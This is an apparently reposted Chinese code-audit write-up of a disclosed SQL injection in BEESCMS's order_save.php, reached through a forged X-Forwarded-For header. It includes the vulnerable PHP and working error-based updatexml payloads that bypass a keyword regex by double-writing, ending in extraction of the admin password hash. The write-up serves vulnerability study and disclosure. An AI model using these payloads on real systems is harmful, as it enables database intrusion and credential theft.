暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

代码审计之SQL注入绕过简单的正则

小9运维 2020-11-04
195

写在前面

  • 什么是报错注入?正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容;如果能让错误信息中返回数据库中的内容,即实现SQL注入。

复现过程

CNVD看到如下详情:

本地搭建一套找下漏洞触发点。

搜索源码目录,符合or***_sa***.php
的文件只有一个:order_save.php

先贴下代码:

    <?php
    
    define('CMS',true);
    require_once('../includes/init.php');
    $lang = $_REQUEST['lang'];
    $fields=$_POST['fields'];
    //表单验证码
    $feed_code=$_POST['feed_code'];
    if(empty($feed_code)){die("<script type=\"text/javascript\">alert('{$language['member_msg2']}');history.go(-1);</script>");}
    if($feed_code!=$_SESSION['code']){die("<script type=\"text/javascript\">alert('{$language['member_msg2']}');history.go(-1);</script>");}
    
    if(empty($fields)||empty($form_id)){die($language['order_msg1']);}
    
    if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language
    if(file_exists(DATA_PATH.'cache_form/form.php')){include(DATA_PATH.'cache_form/form.php');}
    if(!empty($form)){
     foreach($form as $k=>$v){
      if($v['id']==$form_id&&!$v['is_disable']){
       $form=$v;
      }
     }
    }
    
    if(file_exists(DATA_PATH.'cache_form/field.php')){include(DATA_PATH.'cache_form/field.php');}
    $fd=array();
    if(!empty($field)){
     foreach($field as $k=>$v){
      if($v['form_id']==$form_id&&$v['field_type']!='checkbox'){
       $fd[]=$v['field_name'];
      }
     }
    }
    $sql_field='';
    $sql_value='';
    if(!empty($fields)){
    foreach($fields as $key=>$value){
       if(!is_array($value)){
       if(!in_array($key,$fd)){die($language['order_msg1']);}
       }
       $sql_field.=','.$key;
       if(is_array($value)){
        foreach($value as $k=>$v){
         $value_str.=$v.',';
        }
        $value=$value_str;
       }
       $sql_value.=",'".fl_html($value)."'";   
    }
    }else{
     die($language['order_msg2']);
    }
    $table=$form['form_mark'];
    $tables=$mysql->show_tables();
     if(!in_array(DB_PRE.$table,$tables)){
      die($language['order_msg3']);
     }
    $addtime=time();
    $ip=fl_value(get_ip());
    $ip=fl_html($ip);
    $member_id=empty($_SESSION['id'])?0:$_SESSION['id'];
    $arc_id=empty($f_id)?0:intval($_POST['f_id']);
    $sql="insert into ".DB_PRE."formlist (form_id,form_time,form_ip,member_id,arc_id) values ({$form_id},{$addtime},'{$ip}','{$member_id}','{$arc_id}')";
    echo $sql."\n\n";
    $mysql->query($sql);
    $last_id=$mysql->insert_id();
    $sql_field='id'.$sql_field;
    $sql_value=$last_id.$sql_value;
    $sql="insert into ".DB_PRE."{$table} ({$sql_field}) values ({$sql_value})";
    $mysql->query($sql);
    
    
    //发送邮件
    if(!empty($_sys['mail_feed'])){
    if(in_array('1',$_sys['mail_feed'])){
     $table=$form['form_mark'];
     if(!empty($table)){
      $rel=$GLOBALS['mysql']->fetch_asc("select*from ".DB_PRE."{$table} where id={$last_id}");
      $rel_arr=$rel[0];
    
      if(file_exists(DATA_PATH.'cache_form/field.php')){include(DATA_PATH.'cache_form/field.php');}
      
      $hmtl='<table cellpadding="0" cellspacing="0" width="100%">';
       $hmtl.='<thead>';
      $hmtl.='<tr><th style="width:20%">参数说明</th><th style="width:80%">参数值</th></tr>';
      $hmtl.='</thead>';
      $hmtl.='<tbody>';
      unset($rel_arr['id']);
      if(!empty($rel_arr)){
       foreach($rel_arr as $key=>$value){
        $f_name="<span style=\"clear:red\">不存在该说明</span>";
        if(!empty($field)){
         foreach($field as $k=>$v){
          if($v['field_name']==$key){
           $f_name=$v['use_name'];
          }
         }
        }
        $hmtl.='<tr>';
          $hmtl.='<td style="width:20%; text-align:center">'.$f_name.'</td><td style="width:80%">'.$value.'</td>';
        $hmtl.='</tr>';
       } 
      }   
      $hmtl.='</tbody>';
       $hmtl.='</table>';
      $hmtl.='<div>--------------------------------------------------------------------------------------------------------</div>';
      $hmtl.=$_sys['mail_jw'];
      
     } 
     $_sys['mail_js'] = empty($_sys['mail_js'])?$_sys['mail_mail']:$_sys['mail_js'];
     if($hmtl){
      beescms_smtp_mail($_sys['mail_js'],'','产品订单',$hmtl);
     } 
    } 
    }
    echo "<script type=\"text/javascript\">alert('".$language['order_msg4']."');history.go(-1);</script>";
    ?>

进入代码,先定位到SQL语句,order_save.php
第57行:

    $addtime=time();
    $ip=fl_value(get_ip());
    $ip=fl_html($ip);
    $member_id=empty($_SESSION['id'])?0:$_SESSION['id'];
    $arc_id=empty($f_id)?0:intval($_POST['f_id']);
    $sql="insert into ".DB_PRE."formlist (form_id,form_time,form_ip,member_id,arc_id) values ({$form_id},{$addtime},'{$ip}','{$member_id}','{$arc_id}')";  //SQL语句
    echo $sql."\n\n"//这里把SQL语句输出方便调试

这里传递了5个参数,我们先找到对应功能,抓包看下几个参数可控。先看下哪里调用order_save.php

前台对应功能‘产品订购’,抓包看下:

所以我们可控的参数有:$form_id
$ip
$arc_id
,我们逐一看下。

  1. $form_id
    ,在缓存文件cache_category28_cn.php
    第28行,初始值为5:
    <?php
    $category=array (
      0 => 
      array (
        'id' => '29',
        'custom_url' => '',
        'cate_name' => '测试下级',
        'cate_mb_is' => '0',
        'cate_hide' => '0',
        'cate_channel' => '-9',
        'cate_fold_name' => '',
        'cate_order' => '10',
        'cate_rank' => '0',
        'cate_tpl' => '0',
        'cate_tpl_index' => NULL,
        'cate_tpl_list' => 'list_mx_form.html',
        'cate_tpl_content' => 'mx_form_content.html',
        'cate_title_seo' => '',
        'cate_key_seo' => '',
        'cate_info_seo' => '',
        'lang' => 'cn',
        'cate_parent' => '28',  
        'cate_html' => '1',
        'cate_nav' => '',
        'is_content' => '0',
        'cate_url' => 'http://',
        'cate_is_open' => '0',
        'form_id' => '5',
        'cate_pic1' => '',
        'cate_pic2' => '',
        'cate_pic3' => '',
        'cate_content' => '',
        'temp_id' => '0',
        'list_num' => '20',
        'nav_show' => '0',
      ),
    );?> 

跟进order_save.php
第25行:

    $fd=array();
    if(!empty($field)){
     foreach($field as $k=>$v){
      if($v['form_id']==$form_id&&$v['field_type']!='checkbox'){ 
       $fd[]=$v['field_name']; //$form_id插入注入语句时,$fd为空
      }
     }
    }
    $sql_field='';
    $sql_value='';
    if(!empty($fields)){
    foreach($fields as $key=>$value){
       if(!is_array($value)){
       if(!in_array($key,$fd)){die($language['order_msg1']);} //$fd为空,退出执行,代码终止
       }
       $sql_field.=','.$key;
       if(is_array($value)){
        foreach($value as $k=>$v){
         $value_str.=$v.',';
        }
        $value=$value_str;
       }
       $sql_value.=",'".fl_html($value)."'";   
    }
    }else{
     die($language['order_msg2']);
    }

‘产品订购’表单中,form_id
的初始值为5,当$form_id
不等于5时,$fd
为空,导致代码无法继续执行,故$form_id
参数无法注入。

  1. $arc_id
    ,order _save.php
    第61行:
    $arc_id=empty($f_id)?0:intval($_POST['f_id']);

$arc_id
$_POST['f_id']
的整数值,故无法注入。

  1. $ip
    order_save.php
    第58行:
    $ip=fl_value(get_ip());
    $ip=fl_html($ip);

追下get_ip
函数,./includes/fun.php
第1032行:

    function get_ip(){
    if(!empty($_SERVER['HTTP_CLIENT_IP']))
     {
      return $_SERVER['HTTP_CLIENT_IP'];
     }
     elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
     {
      return $_SERVER['HTTP_X_FORWARDED_FOR'];
     }
     else
     {
      return $_SERVER['REMOTE_ADDR'];
     }
    }

函数先取HTTP_CLIENT_IP
,如果没有就取HTTP_X_FORWARDED_FOR
,还没有就取REMOTE_ADDR
,典型的XFF伪造。

再跟进下fl_value
fl_html
两个函数,./includes/fun.php
第1755行:

    function fl_value($str){
     if(empty($str)){return;}
     return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
    |outfile/i'
,'',$str);
    }
    define('INC_BEES','B'.'EE'.'SCMS');
    function fl_html($str){
     return htmlspecialchars($str);
    }

对SQL注入和xss进行过滤,其中注入过滤了select
where
from
/*
*
=
等关键字,我们将语句输出,利用burp尝试绕过,先查下当前用户:

    'or updatexml(1,concat(0x7e,(user()),0x7e),1) or'

没问题,查下当前表:

    'or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema = database() limit 0,1),0x7e),1) or'

可以看到语句中select
from
where
=
被过滤了,这里select
我们可以用双写嵌套绕过:selselectect
from
where
同理,但值得注意的是,这里正则匹配的是关键字和前后的空格,所以我们的绕过方法应该是:fr from om
whe where re
,最后=
号用like
替代,修改后的语句变成:

    'or updatexml(1,concat(0x7e,(selselectect concat(table_name) fr from om information_schema.tables whe where re table_schema like database() limit 0,1),0x7e),1) or'

修改limit后面的数字可以遍历所有的表,查管理员表字段:

    'or updatexml(1,concat(0x7e,(selselectect concat(column_name) fr from om information_schema.columns whe where re table_name like 'bees_admin' limit 2,1),0x7e),1) or'

查管理员密码:

    'or updatexml(1,concat(0x7e,(selselectect admin_password fr from om bees_admin),0x7e),1) or'

这里显示位数不够,我们分两次查询:

    'or updatexml(1,concat(0x7e,substr((selselectect admin_password fr from om bees_admin),1,16),0x7e),1) or'

    'or updatexml(1,concat(0x7e,substr((selselectect admin_password fr from om bees_admin),17,32),0x7e),1) or'

最后利用在线md5解密网站解下密码:

END


文章转载自小9运维,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论